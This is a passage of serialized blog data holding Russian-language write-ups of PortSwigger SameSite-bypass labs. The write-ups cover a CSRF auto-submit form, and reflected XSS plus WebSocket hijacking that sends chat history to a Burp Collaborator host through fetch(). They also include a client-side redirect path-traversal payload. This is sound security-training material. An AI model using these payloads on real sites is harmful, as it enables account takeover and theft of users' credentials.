})\n",[308,16536,16537,16539,16541],{"class":310,"line":1465},[308,16538,16405],{"class":911},[308,16540,16408],{"class":678},[308,16542,12056],{"class":911},[308,16544,16545],{"class":310,"line":1478},[308,16546,1363],{"class":911},[308,16548,16549,16551,16553],{"class":310,"line":1491},[308,16550,11372],{"class":911},[308,16552,2124],{"class":2059},[308,16554,2077],{"class":911},[21,16556,16557],{},"Хм, и кука, похоже, не прикрепляется. И в целом CORS error:",[41,16559,16562],{"className":16560,"code":16561,"language":46},[44],"Access to fetch at 'https:\u002F\u002F0a3f006d033961eb818d7b5e002400be.web-security-academy.net\u002Fmy-account\u002Fchange-email' from origin 'https:\u002F\u002Fexploit-0ad7003e03c2613c81b57ab701040017.exploit-server.net' has been blocked by CORS policy: The value of the 'Access-Control-Allow-Credentials' header in the response is '' which must be 'true' when the request's credentials mode is 'include'.\n",[48,16563,16561],{"__ignoreMap":50},[21,16565,16566,16567,16570],{},"Похоже, я упустил важный момент — для передачи куки нужно совершить именно POST top-level navigation, обычный ",[48,16568,16569],{},"fetch()"," не подойдёт, нужен сабмит формы. Доработаем нагрузку. Возьмём форму смены email со страницы лабы и через 15 секунд после открытия окна на рефреш кук отправим запрос на смену email.",[41,16572,16574],{"className":2047,"code":16573,"language":2049,"meta":50,"style":50},"\u003Cform class=\"login-form\" name=\"change-email-form\" action=\"https:\u002F\u002F0a100008031934bc80105d4a0034009e.web-security-academy.net\u002Fmy-account\u002Fchange-email\" method=\"POST\">\n  \u003Clabel>Email\u003C\u002Flabel>\n  \u003Cinput required type=\"email\" name=\"email\" value=\"xxx@yyy.ru\">\n  \u003Cbutton class=\"button\" type=\"submit\">Update email\u003C\u002Fbutton>\n\u003C\u002Fform>\n\n\u003Cscript>\n  window.onclick = () => {\n    window.open('https:\u002F\u002F0a100008031934bc80105d4a0034009e.web-security-academy.net\u002Fsocial-login');\n    setTimeout(() => {\n      document.forms[0].submit();\n    }, 15000)\n  }\n\u003C\u002Fscript>\n",[48,16575,16576,16611,16623,16652,16676,16684,16688,16696,16710,16723,16733,16746,16755,16759],{"__ignoreMap":50},[308,16577,16578,16580,16582,16584,16586,16588,16590,16592,16595,16598,16600,16603,16605,16607,16609],{"class":310,"line":311},[308,16579,2056],{"class":911},[308,16581,15228],{"class":2059},[308,16583,11282],{"class":667},[308,16585,2066],{"class":911},[308,16587,15235],{"class":671},[308,16589,13421],{"class":667},[308,16591,2066],{"class":911},[308,16593,16594],{"class":671},"\"change-email-form\"",[308,16596,16597],{"class":667}," action",[308,16599,2066],{"class":911},[308,16601,16602],{"class":671},"\"https:\u002F\u002F0a100008031934bc80105d4a0034009e.web-security-academy.net\u002Fmy-account\u002Fchange-email\"",[308,16604,15255],{"class":667},[308,16606,2066],{"class":911},[308,16608,15260],{"class":671},[308,16610,2077],{"class":911},[308,16612,16613,16615,16617,16619,16621],{"class":310,"line":98},[308,16614,15267],{"class":911},[308,16616,15270],{"class":2059},[308,16618,15273],{"class":911},[308,16620,15270],{"class":2059},[308,16622,2077],{"class":911},[308,16624,16625,16627,16629,16631,16633,16635,16637,16639,16641,16643,16645,16647,16650],{"class":310,"line":104},[308,16626,15267],{"class":911},[308,16628,13408],{"class":2059},[308,16630,13411],{"class":667},[308,16632,13414],{"class":667},[308,16634,2066],{"class":911},[308,16636,14737],{"class":671},[308,16638,13421],{"class":667},[308,16640,2066],{"class":911},[308,16642,14737],{"class":671},[308,16644,13428],{"class":667},[308,16646,2066],{"class":911},[308,16648,16649],{"class":671},"\"xxx@yyy.ru\"",[308,16651,2077],{"class":911},[308,16653,16654,16656,16658,16660,16662,16664,16666,16668,16670,16672,16674],{"class":310,"line":1327},[308,16655,15267],{"class":911},[308,16657,15313],{"class":2059},[308,16659,11282],{"class":667},[308,16661,2066],{"class":911},[308,16663,15320],{"class":671},[308,16665,13414],{"class":667},[308,16667,2066],{"class":911},[308,16669,15327],{"class":671},[308,16671,15330],{"class":911},[308,16673,15313],{"class":2059},[308,16675,2077],{"class":911},[308,16677,16678,16680,16682],{"class":310,"line":1336},[308,16679,11372],{"class":911},[308,16681,15228],{"class":2059},[308,16683,2077],{"class":911},[308,16685,16686],{"class":310,"line":1349},[308,16687,1636],{"emptyLinePlaceholder":112},[308,16689,16690,16692,16694],{"class":310,"line":1360},[308,16691,2056],{"class":911},[308,16693,2124],{"class":2059},[308,16695,2077],{"class":911},[308,16697,16698,16700,16702,16704,16706,16708],{"class":310,"line":1366},[308,16699,16222],{"class":911},[308,16701,16225],{"class":667},[308,16703,1647],{"class":1619},[308,16705,16230],{"class":911},[308,16707,1692],{"class":1619},[308,16709,1695],{"class":911},[308,16711,16712,16714,16716,16718,16721],{"class":310,"line":1452},[308,16713,16239],{"class":911},[308,16715,14505],{"class":667},[308,16717,917],{"class":911},[308,16719,16720],{"class":671},"'https:\u002F\u002F0a100008031934bc80105d4a0034009e.web-security-academy.net\u002Fsocial-login'",[308,16722,1711],{"class":911},[308,16724,16725,16727,16729,16731],{"class":310,"line":1465},[308,16726,16363],{"class":667},[308,16728,16260],{"class":911},[308,16730,1692],{"class":1619},[308,16732,1695],{"class":911},[308,16734,16735,16738,16740,16742,16744],{"class":310,"line":1478},[308,16736,16737],{"class":911},"      document.forms[",[308,16739,13892],{"class":678},[308,16741,15364],{"class":911},[308,16743,15367],{"class":667},[308,16745,14487],{"class":911},[308,16747,16748,16750,16753],{"class":310,"line":1491},[308,16749,16405],{"class":911},[308,16751,16752],{"class":678},"15000",[308,16754,12056],{"class":911},[308,16756,16757],{"class":310,"line":1502},[308,16758,1363],{"class":911},[308,16760,16761,16763,16765],{"class":310,"line":1507},[308,16762,11372],{"class":911},[308,16764,2124],{"class":2059},[308,16766,2077],{"class":911},[357,16768,16769],{},"html pre.shiki code .sVt8B, html code.shiki .sVt8B{--shiki-default:#24292E;--shiki-dark:#E1E4E8}html pre.shiki code .s9eBZ, html code.shiki .s9eBZ{--shiki-default:#22863A;--shiki-dark:#85E89D}html pre.shiki code .szBVR, html code.shiki .szBVR{--shiki-default:#D73A49;--shiki-dark:#F97583}html pre.shiki code .sj4cs, html code.shiki .sj4cs{--shiki-default:#005CC5;--shiki-dark:#79B8FF}html pre.shiki code .sScJk, html code.shiki .sScJk{--shiki-default:#6F42C1;--shiki-dark:#B392F0}html pre.shiki code .sZZnC, html code.shiki .sZZnC{--shiki-default:#032F62;--shiki-dark:#9ECBFF}html pre.shiki code .sJ8bj, html code.shiki .sJ8bj{--shiki-default:#6A737D;--shiki-dark:#6A737D}html .default .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html .dark .shiki span {color: var(--shiki-dark);background: var(--shiki-dark-bg);font-style: var(--shiki-dark-font-style);font-weight: var(--shiki-dark-font-weight);text-decoration: var(--shiki-dark-text-decoration);}html.dark .shiki span {color: var(--shiki-dark);background: var(--shiki-dark-bg);font-style: var(--shiki-dark-font-style);font-weight: var(--shiki-dark-font-weight);text-decoration: var(--shiki-dark-text-decoration);}",{"title":50,"searchDepth":98,"depth":98,"links":16771},[16772,16773],{"id":18,"depth":98,"text":19},{"id":33,"depth":98,"text":34,"children":16774},[16775,16776,16777,16778,16779],{"id":38,"depth":104,"text":39},{"id":15858,"depth":104,"text":15859},{"id":10323,"depth":104,"text":10324},{"id":682,"depth":104,"text":683},{"id":16032,"depth":104,"text":16033},"2026-05-12","Обход SameSite=Lax через обновление сессионной куки по OAuth-флоу и top-level POST в 2-минутном окне.",{},"\u002Fnotes\u002Fpentesting\u002Fportswigger\u002Fsamesite-lax-bypass-via-cookie-refresh",{"title":15830,"description":16781},"notes\u002Fpentesting\u002Fportswigger\u002Fsamesite-lax-bypass-via-cookie-refresh",[117,15399,16787,16788,121],"samesite","oauth","2h 50m","KTJU0AoRm3cMjSKejvkeNqvz3Omsh-U73bVtSmtusn8",{"id":16792,"title":16793,"author":6,"body":16794,"date":17139,"description":17140,"difficulty":257,"extension":109,"image":110,"inProgress":110,"logged":110,"marathonStartDate":110,"meta":17141,"navigation":112,"notes":110,"path":17142,"psTitle":16808,"seo":17143,"stem":17144,"tags":17145,"timeSpent":17147,"type":123,"__hash__":17148},"content_ru\u002Fnotes\u002Fpentesting\u002Fportswigger\u002Fsamesite-strict-bypass-via-sibling-domain.md","SameSite Strict bypass через sibling domain (PortSwigger Lab)",{"type":8,"value":16795,"toc":17132},[16796,16800,16802,16809,16811,16814,16820,16823,16847,16850,16853,16856,16876,16883,16891,16898,16904,16910,16913,16919,16926,16929,16940,16947,16951,16957,16961,16967,16973,16978,16981,16987,16990,16993,17006,17013,17019,17022,17030,17033,17039,17042,17048,17054,17060,17067,17073,17093,17107,17110,17116,17119,17125,17130],[11,16797,16799],{"id":16798},"samesite-strict-bypass-через-sibling-domain","SameSite Strict bypass через sibling domain",[16,16801,19],{"id":18},[21,16803,16804,144],{},[24,16805,16808],{"href":16806,"rel":16807},"https:\u002F\u002Fportswigger.net\u002Fweb-security\u002Fcsrf\u002Fbypassing-samesite-restrictions\u002Flab-samesite-strict-bypass-via-sibling-domain",[28],"SameSite Strict bypass via sibling domain",[16,16810,34],{"id":33},[21,16812,16813],{},"Дано:",[41,16815,16818],{"className":16816,"code":16817,"language":46},[44],"This lab's live chat feature is vulnerable to cross-site WebSocket hijacking (CSWSH). To solve the lab, log in to the victim's account.\n\nTo do this, use the provided exploit server to perform a CSWSH attack that exfiltrates the victim's chat history to the default Burp Collaborator server. The chat history contains the login credentials in plain text.\n",[48,16819,16817],{"__ignoreMap":50},[21,16821,16822],{},"Какие выводы можно сделать из написанного? Название звучит как «Обходим ограничения SameSite=Strict через поддомен того же уровня».",[21,16824,16825,16826,16829,16830,3483,16833,16836,16837,1092,16840,3483,16843,16846],{},"SameSite — это атрибут заголовка ",[48,16827,16828],{},"Set-Cookie",", который определяет, будут ли отправляться эта кука при cross-site и same-site запросах и в каких случаях. Что значит SameSite=Strict? Это значит, что браузер отправит куки, только если запрос является same-site запросом и только. Тут важно понимать, что ",[48,16831,16832],{},"d1.example.com",[48,16834,16835],{},"d2.example.com"," являются SameSite. И заголовок лабы нам намекает, что при разведке нужно будет обратить внимание на ",[48,16838,16839],{},"sibling domains",[48,16841,16842],{},"d1",[48,16844,16845],{},"d2"," примеры выше как раз такие.",[21,16848,16849],{},"Читаем описание. Есть функция «live chat» на сайте, и связанный с ней WebSocket. В истории чата в открытом виде будут креды для доступа. Нам необходимо подготовить нагрузку, которая подключится к WS чата от имени жертвы и выгрузит сообщения оттуда на сервер Burp Collaborator. Далее мы найдём среди сообщений имя и пароль, войдём в аккаунт жертвы и лаба будет решена.",[21,16851,16852],{},"Обращаем внимание при разведке: сабдомен + как работает веб-сокет чата.",[21,16854,16855],{},"Го посмотрим, как работает live chat, и заодно будем обращать внимание на сабдомены. Заходим на сайт, сразу видим «Live chat», идём туда. Открывается страница, приходит сообщение. Отправим немного сообщений. Перезагрузим страницу, сообщения пришли. Ок, значит действительно в теории можно добыть историю сообщений.",[21,16857,16858,16859,16862,16863,16866,16867,16869,16870,16873,16874,426],{},"Что по протоколу? Первым сообщением клиент присылает ",[48,16860,16861],{},"READY",", далее сервер последовательно присылает старые сообщения. Что по подключению? Когда мы переходим на страницу чата, отправляется запрос ",[48,16864,16865],{},"GET \u002Fchat",", с куки ",[48,16868,11853],{}," и заголовками для установления WebSocket-соединения (",[48,16871,16872],{},"Upgrade: websocket","). К этому веб-сокету нам и нужно подключиться, только от имени жертвы, передав куку ",[48,16875,11853],{},[21,16877,16878,16879,16882],{},"Но пока у нас нет способа вызвать этот метод с куки жертвы — где-то должен быть уязвимый ",[48,16880,16881],{},"sibling domain",". Посмотрим подробнее запросы к исследуемому сайту.",[21,16884,16885,16886,16888,16889,426],{},"Первый запрос ",[48,16887,2400],{},", установка куки ",[48,16890,11853],{},[21,16892,16893,16894,16897],{},"Далее — ",[48,16895,16896],{},"GET \u002Fresources\u002Flabheader\u002Fcss\u002FacademyLabHeader.css",". Ничего интересного.",[21,16899,16893,16900,16903],{},[48,16901,16902],{},"GET \u002Fresources\u002Fcss\u002FlabsEcommerce.css",". О, появился заголовок CORS:",[41,16905,16908],{"className":16906,"code":16907,"language":46},[44],"Access-Control-Allow-Origin: https:\u002F\u002Fcms-0a7400a704d5b2a681db4d6e00510064.web-security-academy.net\n",[48,16909,16907],{"__ignoreMap":50},[21,16911,16912],{},"Похоже, вот он — наш сабдомен:",[41,16914,16917],{"className":16915,"code":16916,"language":46},[44],"cms-0a7400a704d5b2a681db4d6e00510064.web-security-academy.net\n",[48,16918,16916],{"__ignoreMap":50},[21,16920,16921,16922,16925],{},"Посмотрим, что там. Там просто форма логин-пароль, пробуем классику ",[48,16923,16924],{},"wiener\u002Fpeter"," — не подходит.",[21,16927,16928],{},"Раз уж мы на sibling domain и это CSRF, логично искать XSS-уязвимость на этом сабдомене.",[21,16930,16931,16932,16935,16936,16939],{},"Закидываем в поле имени пользователя классику ",[48,16933,16934],{},"\u003C>'\"\\",". Улетает POST-запрос. Экранирование отсутствует. Ок, мы в контексте тега HTML, поэтому нам нужен тег с вызовом JavaScript. Рабочий вариант — ",[48,16937,16938],{},"\u003Cimg src=x onerror=alert(25) \u002F>",". Закидываем в поле имени пользователя — найс, нагрузка рабочая.",[21,16941,16942,16943,16946],{},"Но остаётся проблема, что это POST-запрос и триггерить его у нас нет возможности. Можно попробовать ",[48,16944,16945],{},"method override",". Ок, есть возможность вызвать этот роут, но через GET-запрос.",[36,16948,16950],{"id":16949},"рассуждения-о-нагрузке-для-жертвы","Рассуждения о нагрузке для жертвы",[21,16952,16953,16954,16956],{},"Мы редиректим на сабдомен с нагрузкой в юзернейме, которая рефлектится после POST-запроса на логин. Мы сумели вызывать этот метод с помощью GET, задав параметры в query string. А в нагрузке юзернейма и создаём веб-сокет по адресу чата, отправляем первым сообщением ",[48,16955,16861],{}," и далее получаем всю историю переписки. После — отправляем на Burp Collaborator, извлекаем оттуда имя и пароль жертвы и входим в аккаунт.",[36,16958,16960],{"id":16959},"нагрузка","Нагрузка",[41,16962,16965],{"className":16963,"code":16964,"language":46},[44],"location = cms.xxx.com\u002Flogin?username=\u003Cimg src=x ...>&password=xxx\n",[48,16966,16964],{"__ignoreMap":50},[21,16968,16969,16970,16972],{},"То есть жертву редиректим на страницу, где будет неуспешная попытка входа, и будет происходить reflect значения параметра ",[48,16971,11168],{},". Здесь мы добавляем тег и JS для подключения к веб-сокету и получения списка сообщений.",[21,16974,16975],{},[48,16976,16977],{},"https:\u002F\u002Fcms-0a7c00a8032b92ab854321db00ea0020.web-security-academy.net",[21,16979,16980],{},"Будем собирать нагрузку в Console DevTools.",[41,16982,16985],{"className":16983,"code":16984,"language":46},[44],"location = \"https:\u002F\u002Fcms-0a7c00a8032b92ab854321db00ea0020.web-security-academy.net\u002Flogin?username=\u003Cimg src=x onerror=alert(1)>&password=xxx\"\n",[48,16986,16984],{"__ignoreMap":50},[21,16988,16989],{},"Отлично, это работает.",[21,16991,16992],{},"Примерный алгоритм нагрузки:",[330,16994,16995,16998,17001],{},[333,16996,16997],{},"Создаём WebSocket-соединение.",[333,16999,17000],{},"Добавляем обработчик на получение нового сообщения. Здесь будем отправлять сообщение в Burp Collaborator.",[333,17002,17003,17004,426],{},"Отправить первое сообщение — ",[48,17005,16861],{},[21,17007,17008,17009,17012],{},"А я чот подумал, что, возможно, ",[48,17010,17011],{},"\u003Cscript>\u003C\u002Fscript>"," пройдёт, и будет удобнее писать нагрузку :)",[41,17014,17017],{"className":17015,"code":17016,"language":46},[44],"location = \"https:\u002F\u002Fcms-0a7c00a8032b92ab854321db00ea0020.web-security-academy.net\u002Flogin?username=\u003Cscript>alert(25)\u003C\u002Fscript>&password=xxx\"\n",[48,17018,17016],{"__ignoreMap":50},[21,17020,17021],{},"Накидаем первый вариант по нашему алгоритму.",[21,17023,17024,17025],{},"Предварительно посмотрим документацию по WebSocket Web API: ",[24,17026,17029],{"href":17027,"rel":17028},"https:\u002F\u002Fdeveloper.mozilla.org\u002Fen-US\u002Fdocs\u002FWeb\u002FAPI\u002FWebSocket",[28],"developer.mozilla.org\u002Fen-US\u002Fdocs\u002FWeb\u002FAPI\u002FWebSocket",[21,17031,17032],{},"Наша стартовая тестовая нагрузка для теста в браузере:",[41,17034,17037],{"className":17035,"code":17036,"language":46},[44],"location = \"https:\u002F\u002Fcms-0a7c00a8032b92ab854321db00ea0020.web-security-academy.net\u002Flogin?username=\u003Cscript>const ws = new WebSocket('wss:\u002F\u002F0a7c00a8032b92ab854321db00ea0020.web-security-academy.net\u002Fchat')\u003C\u002Fscript>&password=xxx\"\n",[48,17038,17036],{"__ignoreMap":50},[21,17040,17041],{},"Тут просто создаём и открываем сокет. Проверяем.",[21,17043,17044,17045,17047],{},"Проходит, подключаемся к сокету. Следующий шаг — передать ",[48,17046,16861],{}," и получить сообщения.",[41,17049,17052],{"className":17050,"code":17051,"language":46},[44],"location = \"https:\u002F\u002Fcms-0a7c00a8032b92ab854321db00ea0020.web-security-academy.net\u002Flogin?username=\u003Cscript>const ws = new WebSocket('wss:\u002F\u002F0a7c00a8032b92ab854321db00ea0020.web-security-academy.net\u002Fchat'); ws.send('READY'); ws.onmessage=(m)=>console.log(m)\u003C\u002Fscript>&password=xxx\"\n",[48,17053,17051],{"__ignoreMap":50},[41,17055,17058],{"className":17056,"code":17057,"language":46},[44],"Uncaught InvalidStateError: Failed to execute 'send' on 'WebSocket': Still in CONNECTING state.\n",[48,17059,17057],{"__ignoreMap":50},[21,17061,17062,17063,17066],{},"Мы преждевременно вызвали ",[48,17064,17065],{},"send()",", сделаем это в обработчике события подключения.",[41,17068,17071],{"className":17069,"code":17070,"language":46},[44],"location = \"https:\u002F\u002Fcms-0a7c00a8032b92ab854321db00ea0020.web-security-academy.net\u002Flogin?username=\u003Cscript>const ws = new WebSocket('wss:\u002F\u002F0a7c00a8032b92ab854321db00ea0020.web-security-academy.net\u002Fchat'); ws.onopen=()=>ws.send('READY'); ws.onmessage=(m)=>console.log(m)\u003C\u002Fscript>&password=xxx\"\n",[48,17072,17070],{"__ignoreMap":50},[21,17074,17075,17076,17079,17080,17082,17083,17079,17086,17089,17090,426],{},"Отлично, вижу в консоли вывод объектов ",[48,17077,17078],{},"MessageEvent",". Нас интересует поле ",[48,17081,1732],{},", там сообщение от сервера. Это JSON вида ",[48,17084,17085],{},"{\"user\":\"You\",\"content\":\"Hello\"}",[48,17087,17088],{},"content",". Будем отправлять его в Burp Collaborator: ",[48,17091,17092],{},"fve75b5f9q731mcmzwc0u6ofz65xtnhc.oastify.com",[21,17094,17095,17096,17098,17099,17102,17103,640,17105,426],{},"И ещё нюанс, что в ",[48,17097,1732],{}," данные как JSON, сериализованный в строку. Поэтому используем ",[48,17100,17101],{},"JSON.parse()",". Да, и ещё пришлось сделать encode для ",[48,17104,2056],{},[48,17106,2127],{},[21,17108,17109],{},"Залил эту нагрузку на эксплоит-сервер, проверил на себе. Пробуем доставлять жертве:",[41,17111,17114],{"className":17112,"code":17113,"language":46},[44],"location = \"https:\u002F\u002Fcms-0a20004203f9dea180791ce70035008d.web-security-academy.net\u002Flogin?username=%3Cscript%3Econst ws = new WebSocket('wss:\u002F\u002F0a20004203f9dea180791ce70035008d.web-security-academy.net\u002Fchat'); ws.onopen=()=>ws.send('READY'); ws.onmessage=(m)=>{fetch(`https:\u002F\u002Ffve75b5f9q731mcmzwc0u6ofz65xtnhc.oastify.com\u002F?msg=${JSON.parse(m.data).content}`);console.log(JSON.parse(m.data).content)}%3C\u002Fscript%3E&password=xxx\"\n",[48,17115,17113],{"__ignoreMap":50},[21,17117,17118],{},"О, прилетело в том числе такое:",[41,17120,17123],{"className":17121,"code":17122,"language":46},[44],"GET \u002F?msg=No%20problem%20carlos,%20it&apos;s%20o3ji86qd20lwiapuyb1n HTTP\u002F1.1\n",[48,17124,17122],{"__ignoreMap":50},[21,17126,17127],{},[48,17128,17129],{},"carlos \u002F o3ji86qd20lwiapuyb1n",[21,17131,12197],{},{"title":50,"searchDepth":98,"depth":98,"links":17133},[17134,17135],{"id":18,"depth":98,"text":19},{"id":33,"depth":98,"text":34,"children":17136},[17137,17138],{"id":16949,"depth":104,"text":16950},{"id":16959,"depth":104,"text":16960},"2026-05-09","Обход SameSite=Strict через sibling domain — XSS на cms-сабдомене + method override + CSWSH к live-chat WebSocket с эксфильтрацией истории на Burp Collaborator.",{},"\u002Fnotes\u002Fpentesting\u002Fportswigger\u002Fsamesite-strict-bypass-via-sibling-domain",{"title":16793,"description":17140},"notes\u002Fpentesting\u002Fportswigger\u002Fsamesite-strict-bypass-via-sibling-domain",[117,15399,16787,17146,121],"websockets","5h 30m","XVqQGWoiBShmRMAhCCyz6yV9Utjv8I87QuNBqgUx-V8",{"id":17150,"title":17151,"author":6,"body":17152,"date":17471,"description":17472,"difficulty":257,"extension":109,"image":110,"inProgress":110,"logged":110,"marathonStartDate":110,"meta":17473,"navigation":112,"notes":110,"path":17474,"psTitle":17166,"seo":17475,"stem":17476,"tags":17477,"timeSpent":10988,"type":123,"__hash__":17478},"content_ru\u002Fnotes\u002Fpentesting\u002Fportswigger\u002Fsamesite-strict-bypass-via-client-side-redirect.md","SameSite Strict bypass через client-side redirect (PortSwigger Lab)",{"type":8,"value":17153,"toc":17467},[17154,17158,17160,17167,17169,17172,17178,17185,17188,17194,17207,17218,17246,17249,17352,17355,17361,17364,17370,17379,17385,17388,17420,17430,17462,17464],[11,17155,17157],{"id":17156},"samesite-strict-bypass-через-client-side-redirect","SameSite Strict bypass через client-side redirect",[16,17159,19],{"id":18},[21,17161,17162,144],{},[24,17163,17166],{"href":17164,"rel":17165},"https:\u002F\u002Fportswigger.net\u002Fweb-security\u002Fcsrf\u002Fbypassing-samesite-restrictions\u002Flab-samesite-strict-bypass-via-client-side-redirect",[28],"SameSite Strict bypass via client-side redirect",[16,17168,34],{"id":33},[21,17170,17171],{},"Дано: уже привычная форма смены email. Логинимся:",[41,17173,17176],{"className":17174,"code":17175,"language":46},[44],"set-cookie: session=TkCuL6az98ZphhtL0tfC47tfHD8bAIRT; Secure; HttpOnly; SameSite=Strict\n",[48,17177,17175],{"__ignoreMap":50},[21,17179,17180,17181,17184],{},"На этот раз ",[48,17182,17183],{},"SameSite=Strict",", и предыдущий трюк с GET-запросом не пройдёт — кука не будет приложена к запросу. Условие намекает на client-side redirect, найдём его.",[21,17186,17187],{},"Зайдём на сайт, зайдём в пост — есть форма отправки комментария:",[41,17189,17192],{"className":17190,"code":17191,"language":46},[44],"postId=4&comment=1223&name=HUUU&email=r%40t.ru&website=https%3A%2F%2Flab.apsyleg.ru\n",[48,17193,17191],{"__ignoreMap":50},[21,17195,17196,17197,17199,17200,17203,17204,426],{},"Отправляем, улетает POST-запрос, возврат ",[48,17198,12372],{},". Редирект на ",[48,17201,17202],{},"\u002Fpost\u002Fcomment\u002Fconfirmation?postId=4",". И далее, спустя 3 секунды, уже клиентский редирект на ",[48,17205,17206],{},"\u002Fpost\u002F4",[21,17208,17209,17210,17213,17214,17217],{},"Посмотрим код страницы ",[48,17211,17212],{},"\u002Fconfirmation",". Тут есть загрузка скрипта ",[48,17215,17216],{},"\u002Fresources\u002Fjs\u002FcommentConfirmationRedirect.js"," и вызов:",[41,17219,17221],{"className":2047,"code":17220,"language":2049,"meta":50,"style":50},"\u003Cscript>redirectOnConfirmation('\u002Fpost');\u003C\u002Fscript>\n",[48,17222,17223],{"__ignoreMap":50},[308,17224,17225,17227,17229,17231,17234,17236,17239,17242,17244],{"class":310,"line":311},[308,17226,2056],{"class":911},[308,17228,2124],{"class":2059},[308,17230,2127],{"class":911},[308,17232,17233],{"class":667},"redirectOnConfirmation",[308,17235,917],{"class":911},[308,17237,17238],{"class":671},"'\u002Fpost'",[308,17240,17241],{"class":911},");\u003C\u002F",[308,17243,2124],{"class":2059},[308,17245,2077],{"class":911},[21,17247,17248],{},"Содержимое скрипта:",[41,17250,17252],{"className":14466,"code":17251,"language":14468,"meta":50,"style":50},"redirectOnConfirmation = (blogPath) => {\n    setTimeout(() => {\n        const url = new URL(window.location);\n        const postId = url.searchParams.get(\"postId\");\n        window.location = blogPath + '\u002F' + postId;\n    }, 3000);\n}\n",[48,17253,17254,17272,17282,17298,17318,17339,17348],{"__ignoreMap":50},[308,17255,17256,17258,17260,17263,17266,17268,17270],{"class":310,"line":311},[308,17257,17233],{"class":667},[308,17259,1647],{"class":1619},[308,17261,17262],{"class":911}," (",[308,17264,17265],{"class":1685},"blogPath",[308,17267,1689],{"class":911},[308,17269,1692],{"class":1619},[308,17271,1695],{"class":911},[308,17273,17274,17276,17278,17280],{"class":310,"line":98},[308,17275,16363],{"class":667},[308,17277,16260],{"class":911},[308,17279,1692],{"class":1619},[308,17281,1695],{"class":911},[308,17283,17284,17287,17289,17291,17293,17295],{"class":310,"line":104},[308,17285,17286],{"class":1619},"        const",[308,17288,16085],{"class":678},[308,17290,1647],{"class":1619},[308,17292,1650],{"class":1619},[308,17294,16092],{"class":667},[308,17296,17297],{"class":911},"(window.location);\n",[308,17299,17300,17302,17305,17307,17309,17311,17313,17316],{"class":310,"line":1327},[308,17301,17286],{"class":1619},[308,17303,17304],{"class":678}," postId",[308,17306,1647],{"class":1619},[308,17308,16107],{"class":911},[308,17310,16110],{"class":667},[308,17312,917],{"class":911},[308,17314,17315],{"class":671},"\"postId\"",[308,17317,1711],{"class":911},[308,17319,17320,17323,17325,17328,17330,17333,17336],{"class":310,"line":1336},[308,17321,17322],{"class":911},"        window.location ",[308,17324,2066],{"class":1619},[308,17326,17327],{"class":911}," blogPath ",[308,17329,11451],{"class":1619},[308,17331,17332],{"class":671}," '\u002F'",[308,17334,17335],{"class":1619}," +",[308,17337,17338],{"class":911}," postId;\n",[308,17340,17341,17343,17346],{"class":310,"line":1349},[308,17342,16405],{"class":911},[308,17344,17345],{"class":678},"3000",[308,17347,1711],{"class":911},[308,17349,17350],{"class":310,"line":1360},[308,17351,1369],{"class":911},[21,17353,17354],{},"Инъекция может выглядеть так (помним про method override):",[41,17356,17359],{"className":17357,"code":17358,"language":46},[44],"..\u002Fmy-account\u002Fchange-email?_method=POST&email=hacked@b.ru\n",[48,17360,17358],{"__ignoreMap":50},[21,17362,17363],{},"А сам URL:",[41,17365,17368],{"className":17366,"code":17367,"language":46},[44],"\u002Fpost\u002Fcomment\u002Fconfirmation?postId=..\u002Fmy-account\u002Fchange-email?_method=POST&email=x@x.ru\n",[48,17369,17367],{"__ignoreMap":50},[21,17371,17372,17375,17376,215],{},[48,17373,17374],{},"\"Missing parameter: 'submit'\"",". Чот не хватает, го посмотри как работает легитимная форма смены пароля. И правда нужно ещё передавать ",[48,17377,17378],{},"submit=1",[41,17380,17383],{"className":17381,"code":17382,"language":46},[44],"\u002Fpost\u002Fcomment\u002Fconfirmation?postId=..\u002Fmy-account\u002Fchange-email?_method=POST&email=x@x.ru&submit=1\n",[48,17384,17382],{"__ignoreMap":50},[21,17386,17387],{},"Итоговая нагрузка:",[41,17389,17391],{"className":2047,"code":17390,"language":2049,"meta":50,"style":50},"\u003Cscript>\n    location = 'https:\u002F\u002F0a02006f03fc7e2f82b0a17e007f00dd.web-security-academy.net\u002Fpost\u002Fcomment\u002Fconfirmation?postId=..\u002Fmy-account\u002Fchange-email?_method=POST&email=x@x.ru&submit=1';\n\u003C\u002Fscript>\n",[48,17392,17393,17401,17412],{"__ignoreMap":50},[308,17394,17395,17397,17399],{"class":310,"line":311},[308,17396,2056],{"class":911},[308,17398,2124],{"class":2059},[308,17400,2077],{"class":911},[308,17402,17403,17405,17407,17410],{"class":310,"line":98},[308,17404,16173],{"class":911},[308,17406,2066],{"class":1619},[308,17408,17409],{"class":671}," 'https:\u002F\u002F0a02006f03fc7e2f82b0a17e007f00dd.web-security-academy.net\u002Fpost\u002Fcomment\u002Fconfirmation?postId=..\u002Fmy-account\u002Fchange-email?_method=POST&email=x@x.ru&submit=1'",[308,17411,1631],{"class":911},[308,17413,17414,17416,17418],{"class":310,"line":104},[308,17415,11372],{"class":911},[308,17417,2124],{"class":2059},[308,17419,2077],{"class":911},[21,17421,17422,17423,17425,17426,3483,17428,215],{},"Не прошло, обрезались параметры после первого ",[48,17424,7482],{},". Сделаем тогда энкодинг ",[48,17427,12478],{},[48,17429,7482],{},[41,17431,17433],{"className":2047,"code":17432,"language":2049,"meta":50,"style":50},"\u003Cscript>\n    location = 'https:\u002F\u002F0a02006f03fc7e2f82b0a17e007f00dd.web-security-academy.net\u002Fpost\u002Fcomment\u002Fconfirmation?postId=..\u002Fmy-account\u002Fchange-email%3f_method=POST%26email=x@x.ru%26submit=1';\n\u003C\u002Fscript>\n",[48,17434,17435,17443,17454],{"__ignoreMap":50},[308,17436,17437,17439,17441],{"class":310,"line":311},[308,17438,2056],{"class":911},[308,17440,2124],{"class":2059},[308,17442,2077],{"class":911},[308,17444,17445,17447,17449,17452],{"class":310,"line":98},[308,17446,16173],{"class":911},[308,17448,2066],{"class":1619},[308,17450,17451],{"class":671}," 'https:\u002F\u002F0a02006f03fc7e2f82b0a17e007f00dd.web-security-academy.net\u002Fpost\u002Fcomment\u002Fconfirmation?postId=..\u002Fmy-account\u002Fchange-email%3f_method=POST%26email=x@x.ru%26submit=1'",[308,17453,1631],{"class":911},[308,17455,17456,17458,17460],{"class":310,"line":104},[308,17457,11372],{"class":911},[308,17459,2124],{"class":2059},[308,17461,2077],{"class":911},[21,17463,12197],{},[357,17465,17466],{},"html 